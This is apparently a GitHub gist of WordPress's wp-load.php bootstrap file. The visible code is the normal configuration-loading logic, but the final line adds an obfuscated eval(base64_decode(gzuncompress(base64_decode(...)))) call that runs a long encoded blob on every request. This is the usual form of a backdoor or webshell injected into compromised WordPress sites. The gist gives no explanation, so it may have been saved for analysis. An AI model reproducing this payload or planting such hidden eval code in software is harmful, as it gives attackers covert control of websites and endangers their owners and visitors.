Created
November 2, 2013 18:27
-
-
Save sjparkinson/7281968 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Bootstrap file for setting the ABSPATH constant | |
* and loading the wp-config.php file. The wp-config.php | |
* file will then load the wp-settings.php file, which | |
* will then set up the WordPress environment. | |
* | |
* If the wp-config.php file is not found then an error | |
* will be displayed asking the visitor to set up the | |
* wp-config.php file. | |
* | |
* Will also search for wp-config.php in WordPress' parent | |
* directory to allow the WordPress directory to remain | |
* untouched. | |
* | |
* @internal This file must be parsable by PHP4. | |
* | |
* @package WordPress | |
*/ | |
/** Define ABSPATH as this file's directory */ | |
define( 'ABSPATH', dirname(__FILE__) . '/' ); | |
error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); | |
if ( file_exists( ABSPATH . 'wp-config.php') ) { | |
/** The config file resides in ABSPATH */ | |
require_once( ABSPATH . 'wp-config.php' ); | |
} elseif ( file_exists( dirname(ABSPATH) . '/wp-config.php' ) && ! file_exists( dirname(ABSPATH) . '/wp-settings.php' ) ) { | |
/** The config file resides one level above ABSPATH but is not part of another install */ | |
require_once( dirname(ABSPATH) . '/wp-config.php' ); | |
} else { | |
// A config file doesn't exist | |
// Set a path for the link to the installer | |
if ( strpos($_SERVER['PHP_SELF'], 'wp-admin') !== false ) | |
$path = 'setup-config.php'; | |
else | |
$path = 'wp-admin/setup-config.php'; | |
define( 'WPINC', 'wp-includes' ); | |
define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); | |
require_once( ABSPATH . WPINC . '/load.php' ); | |
require_once( ABSPATH . WPINC . '/version.php' ); | |
wp_check_php_mysql_versions(); | |
wp_load_translations_early(); | |
require_once( ABSPATH . WPINC . '/functions.php' ); | |
// Die with an error message | |
$die = __( "There doesn't seem to be a <code>wp-config.php</code> file. I need this before we can get started." ) . '</p>'; | |
$die .= '<p>' . __( "Need more help? <a href='http://codex.wordpress.org/Editing_wp-config.php'>We got it</a>." ) . '</p>'; | |
$die .= '<p>' . __( "You can create a <code>wp-config.php</code> file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ) . '</p>'; | |
$die .= '<p><a href="' . $path . '" class="button button-large">' . __( "Create a Configuration File" ) . '</a>'; | |
wp_die( $die, __( 'WordPress › Error' ) ); | |
} | |
eval(base64_decode(gzuncompress(base64_decode('eJwNllF7q6wWhP+SaOy3c1mraEzAirBQ7lRyahWM27qb6K8/XHDnIyzmnRlUrYbuY5jv1vxT9jXoVDwaiw/FG6/2mWn886Sq4dBZ/r/enj3CyaMP2N5b8K8f/bmI9dal3u8tIGsRDz90xLxLXj/lmK+FKHctnuheQwLVGVe1ud4Blj4xp9KyhNd5cjcmoSlBfcI+OkEF98JacqiIOM9dSgPmo6xEJia1wqWvLiQ2e2dRWGRfYQXkKdOX33i6bg66idRYhofvahoOdTDF0iVgh5FSmIZiSMHiH1HD0AkzFFygO0TsnpxP8PFnFaN6qUCswhNrNw1cZuxXc7Vpt39j9c4E4kIynx45LQVtO7H4twOyyi/9KjMnCngjKZP9qB+laPw+yfcOf3ncV4Ih+NB282DyQmH0bzkzykUYtt4Synk4+H5uNSRe6yPLEdn7I4oF1nsZXNZ20orWzfPms2s3wS/D+eMOiV9NSvJ0oJ0XTrfDtMzb3DzUJ/WESB0NVUAP4Z2vfPqzF1w/RW0inbKwFPjnnmEGMdRVfNnbGSshFa7m/JMcSvZywCw5f7j/2WbWwS1YWinQQ5ici3HAN0StqtlDo+Sl5U9QpWYhcfRU8ztys3iV249bk129vCn389hM2we3L8zqhfQWQwcRrybGREz2q49wkW4/DJQPGd1A4LkEfbCJPu9Yv1RKG+XnVAUUaIoKGPEHfG/k6uFaJtoQyHdhw6Od4B8Tw+Tu48lT4bfogkSySfa9JZ1dZhDM6TMk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RIpipaCR+6FrV7QGygObFLbMEGSFTxSQfhJi2v41HqZwjTuUie+G0QwNTovdJsDzFfHn2scG3g94AR7FOYKNYGbGfhw6Duks0Ax+KKyqf/YFRIaYArPIqrgMw2LgO/lYZFEWiB6fB3sXDR++jopLn4Ioc2+K0t+KsyGS4mifUwoDUER03pEk7mpl+b4Icg9f4+saBDY45BYDn3nUCJOqHC+f3DINjd+kMXEUw+NKikzr0cJ82118DBfGDqKc/Zc1+RbYUTg/rOqmpsF5Vjeu2HlCXganwFLbcpNf9vLv7xmJin65DuR7x1Ft6cXuv7i0Sa/t63DG9Nk49ak1QTvRHmeiTw9dLTOHQB3QtUg0igab0qXS9v+gAy57jBJLNr7z8szXD6vTzWD35gtN/2ua/LBsoiQenEMM0MArSfOnGEokMHiKjrx6bWdfmbyVIKCx86vp95cfXWtlwrwKNiGUv8HDZjOpfCdEh/C1vD+XWu8upEnFMfDaSE6/Z1hoWQcIu9/lydF6/O3/HgGiivfDajJOvfT3dgvxZYJbTQ8XOF9DtfwKRqG/Xm6ybL6/KW+JOvGZhsJvH/FUm/+zg/dSK7ee2//ltfXpVnKxtzDYlXa5wvZBJJ8J/vRFr1N3qWEq8Kl+swA2tHIPN9LqyeBgLiRdivYAmKKyCPOMe/RaT65E5Ap25F5hjhDmvwsQm4YDgQOZrNS1u/fd/yTCBPg==')))); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment